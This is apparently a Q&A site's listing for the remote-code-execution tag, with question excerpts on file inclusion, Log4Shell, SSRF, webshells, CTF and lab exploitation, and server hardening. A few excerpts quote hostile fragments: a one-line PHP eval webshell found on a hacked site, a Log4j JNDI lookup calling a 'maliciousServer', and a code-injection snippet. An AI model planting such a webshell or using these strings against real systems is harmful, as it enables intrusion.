Questions tagged [remote-code-execution]

Remote code execution is the process of running arbitrary code on a device over some type of network. The code can either be malicious, such as a code injection on a website, or voluntary, such as with Java Remote Method Invocation.

Filter by
Sorted by
Tagged with
0 votes
0 answers
23 views

Storing APFS password in Apple's Keychain for Time Machine

If you are using an encrypted APFS container, for example, to encrypt the Time Machine, whenever the physical disk is plugged in, MacOS asks for a decryption password with an option to store it ("...
1 vote
2 answers
993 views

DVWA - Converting Local File Inclusion to Remote Code Exploitation

I'm reading this blog and it says: If the /proc/self/environ file can be accessed through LFI, then in this case “RCE” can be achieved by requesting the file in combination with the payload written ...
0 votes
1 answer
233 views

Kubernetes user impersonation to obtain exec privileges

I am exploring CVE 2018-1002105 about privilege escalation vulnerabilities in Kubernetes. As a remote unuauthenticated user, I would want to make use of a metrics server deployed on my cluster to exec ...
2 votes
4 answers
581 views

LFI php://input returning initial argument?

TLDR: Trying to execute commands on site thats got a LFI vuln. So I am making my post request to my vulnerable site and import requests header = { 'User-Agent':'Mozilla/5.0 (Windows; U; ...
2 votes
1 answer
305 views

Python Code Injection With int()

I discovered reading the documentation for int() in python that I could execute operating system commands if something like the following were passed to the int() constructor: type('',(),{'a':5,'b':6,'...
0 votes
1 answer
117 views

Arbitrary command execution on remote devices

Is it possible to send a TCP payload to an open port that executes a specific arbitrary command on the target device using Metasploit or any other program? For example with Windows 10 Server OS? I ...
0 votes
0 answers
69 views

Can malicious files be traced and removed from my phone

I had a files analysis done on my phone using Falcon Sandbox. An alarming amount of malicious files,marked as clean, were found,identified,and shown each capable abilities. Literally THE ONLY thing of ...
-1 votes
1 answer
73 views

Would a base64ed code work inside an images metadata? [closed]

my target has a server that uses aspx possibly version 4.3 and i just found out that it has an image upload part. They have an image analyzer so it has to be an image file so i wonder if i could embed ...
1 vote
1 answer
102 views

New York Times article about FBI secretly removing malware from U.S. corporate servers - would this indicate they have a government backdoor?

New York times just ran an article titled "U.S. Says It Secretly Removed Malware Worldwide, Pre-empting Russian Cyberattacks" that stated The United States said on Wednesday that it had ...
1 vote
0 answers
157 views

RCE through specifying .NET type or namespace?

I'm testing an application that allows the user to provide an XML file that will be processed. (I've already tried typical XML attacks, such as XXE.) One of the elements of the XML file allows the ...
3 votes
1 answer
1k views

Can one protect from the Log4j exp by sanitizing the parameters?

A zero-day exploit affecting the popular Apache Log4j utility (CVE-2021-44228) was made public on December 9, 2021 that results in remote code execution (RCE). (From an email CloudFlare sent to users) ...
1 vote
1 answer
171 views

Log4shell - Should affected servers be "nuked from the orbit"?

Considering how log4shell seems trivial to exploit and the important control level it gives to an attacker, should we wipe everything affected and start over? For example, we find out that a publicly ...
4 votes
1 answer
426 views

Does the log4j RCE vulnerability run even if the message is just a part of the logged string?

Does the JNDI URL need to be the full string being logged or could it be just a part of a logged string? For example, if the code contains: paramGivenFromOutside = "${jndi:ldap://maliciousServer:...
0 votes
1 answer
638 views

Uploading/writing server files via SSRF?

Say I've found a perfect SSRF vulnerability in a web application that lets me send web requests to any URL, any host, any port, any scheme. I can use the file:// scheme to get the contents of local ...
0 votes
1 answer
136 views

Can I escalate a main domain SSTI/RCE to all the subdomains belonging to that domain?

I'm a newbie ethical hacker and bug bounty hunter. Lets, assume my target is somethingtohack.com, the thing is the company's scope defines that the main domain is out of scope, but subdomains like ...
1 vote
1 answer
525 views

Need guidance on detecting how a hacked file got upload on my website [duplicate]

On my website I found a file containing this code <?php if(isset($_POST[z]))eval($_POST[z]);?> It's my understanding that the hacker is using this to execute any PHP command send via a POST ...
0 votes
1 answer
790 views

Attempting remote code execution, why does this php webshell code fail with single quotes?

In working on a vulnerable box, I found a field in a database table where one can insert php code. Based on this exploit: https://www.exploit-db.com/exploits/24044 I tried to use this code to make a ...
0 votes
2 answers
556 views

How to completely restrict Steam in Linux to defend against remote zero day exploits?

My question is, how can i completely restrict Steam's processes and modules to only have access to what they suppose to, and not be able to do anything malicious, for example running bin/sh or ...
9 votes
2 answers
317 views

Who is at risk from the PrintNightmare RCE?

Microsoft released an emergency patch and stated that the vulnerability is being actively exploited in the wild. All the news articles describing the RCE are implying that any internet-connected ...
1 vote
0 answers
1k views

NodeJS, unrestricted file upload, RCE [closed]

I'm testing on application which runs on NodeJS, and discovered unrestriced file upload vulnerability, path traversal is not possible. Uploaded file is visitable, I can upload .html to perform XSS ...
0 votes
2 answers
461 views

How does Local File Inclusion (LFI) work?

In the past few days, I have created my own webserver to serve as my sandbox for learning pen-testing. I saw this blog (https://outpost24.com/blog/from-local-file-inclusion-to-remote-code-execution-...
0 votes
1 answer
4k views

RubySMB::Error::CommunicationError: Read timeout expired when reading from the Socket (timeout=30)

I've been playing around with the EternalBlue exploit recently. I've downloaded a Windows 10 iso file from 2016 and used it to set up a Windows 10 Pro VM as my sandbox. I also ran the nmap script and ...
0 votes
0 answers
125 views

ThinkPHP show my website as the req.host - did the request really come from my web server?

I have ThinkPHP wordpress garbage coming at my server https://medium.com/@knownsec404team/analysis-of-thinkphp5-remote-code-execution-vulnerability-5de8a0afb2d4 , for example: /public/index.php?s=...
2 votes
2 answers
211 views

Is there any way an attacker can access the server and modify the site (php) code? [closed]

I recently had a breach on my site (laravel). I got aware of it after I tried to pull the code from github and found out that some files were modified. The files modified were mostly storage - logs/...
2 votes
2 answers
866 views

Why is the first step for an attacker to get Reverse Shell after getting RCE?

If someone is having a Remote Code Execution, that means, one can run the commands on the server, then why does he need to get the Reverse Shell? Even though I can run system commands, then why do I ...
0 votes
0 answers
268 views

Exploiting Groovy RCE

I'm trying to exploit groovy engine for RCE. However, the developer fixed by restricting the method calls with name 'exec', 'execute', 'run', 'start'. Is there any bypass or alternative to these ...
0 votes
0 answers
140 views

Remotely crashing a PC by only visiting a website? Is this an at least 6 year old WebGL bug?

http://hunger.hu/webgl.html WARNING: only visit this website, it you don't mind crashing your PC! so how is this possible? the website dates back to 2014! It is 2020 and by only visiting a website ...
1 vote
1 answer
190 views

Rogue network printers as an attack vector in windows

I recently installed a new printer in our network. Just because I was interested, I switched to wireshark when scanning for and adding the printer on windows. I noticed that it was discoverd through ...
3 votes
1 answer
241 views

Is this a remote code execution vulnerability?

I am planning to evaluate and install a publicly available software. https://github.com/opensemanticsearch/open-semantic-search While reviewing the issues on github, there is an issue open which ...
0 votes
1 answer
2k views

LFI to RCE through User-Agent

I'm doing a pentest on a FreeBSD machine running CuppaCMS. Already managed to login into the CMS with admin privilege, but it only takes me to a manager menu, with some options to change some tables ...
0 votes
0 answers
104 views

Securing server-sent shaders

I have been implementing server-sent shaders using OpenGL for a game (GLSL version 1.20.8). Executing server-sent shaders on the client obviously is remote code execution, which tends to be a bad ...
1 vote
1 answer
318 views

Dealing with a large number of bad chars

I have recently discovered a Buffer Overflow vulnerability that leads to Remote Code Execution. However, due to the structure of the application assessed, a lot of so-called 'bad chars' came up. The ...
2 votes
1 answer
2k views

Dangers of Electron's "shell.openExternal" on untrusted content

I'm curious about the actual dangers of executing shell.openExternal on untrusted content. Documentation specifically states that this can be leveraged for RCE: Improper use of openExternal can be ...
0 votes
1 answer
258 views

Deserialization Opportunity?

I have minimal experience exploiting deserialization vulnerabilities and I am working on and I have identified the following URL endpoint. This is it URL Decoded: /Account/Register?Count=0&Keys=...
0 votes
2 answers
900 views

Accessing a hidden token file in a website using RFI?

In class, I was given the task of using LFI and RFI to find tokens hidden in specific web pages. I completed the first two tasks fine, however, there is another task, the final boss if you will, that ...
0 votes
0 answers
285 views

How is malicious code executed on android devices without owners' knowledge?

I was wondering how hackers were able to gain remote access to one's android device with the help of just a .PNG file. This vulnerability was announced by Google but they didn't provide much ...
3 votes
2 answers
579 views

Are alphanumeric strings safe to pass to a bash script?

I'm currently developing a web service that takes user input and passes it to a bash script as an argument. I know that without sanitizing this allows for remote command execution. So I want to know ...
2 votes
2 answers
1k views

Remote code execution over WAN

Say I am on a a computer behind a NAT and I want to execute an RCE exploit on another computer behind a different NAT(note that no ports are forwarded to the victim's computer on his/her NAT) Could I ...
2 votes
0 answers
257 views

Reverse TCP - Bind to a specific port

So, I'm trying to solve a CTF challenge that involves exploiting a remote service. The service doesn't check for the size of the input and there is a buffer overflow vulnerability. However, before I ...
1 vote
1 answer
190 views

Is it possible to exploit computer vision to achieve remote code execution?

What kind of vulnerability in the implementation of a vision-based machine learning system (object recognition, for example) would enable an attacker to achieve remote code execution? The only ...
1 vote
2 answers
228 views

Exploitation tactics for heap over-reading?

One of recent CVEs particularly 2019-13615 related to VLC media player, attracted my attention because of the developer reaction: Any non-exploitable read overflow get CVSS of 9.8, like VLC is a ...
0 votes
3 answers
1k views

How to exploit RCE vulnerability for machine on local network [closed]

Can someone explain a technique when I know that I can expoit RCE on a server that is located in an internal network but I don't understand how to get a reply back from the payload once it gets inside ...
68 votes
1 answer
12k views

Unusual mail headers show evidence of MTA attack. Have I been pwned?

Today I found an extremely unusual email in my catchall inbox, without subject, sender or content. My Gmail client for android reported the mail was sent by me, triggering a nuclear alert in my mind. ...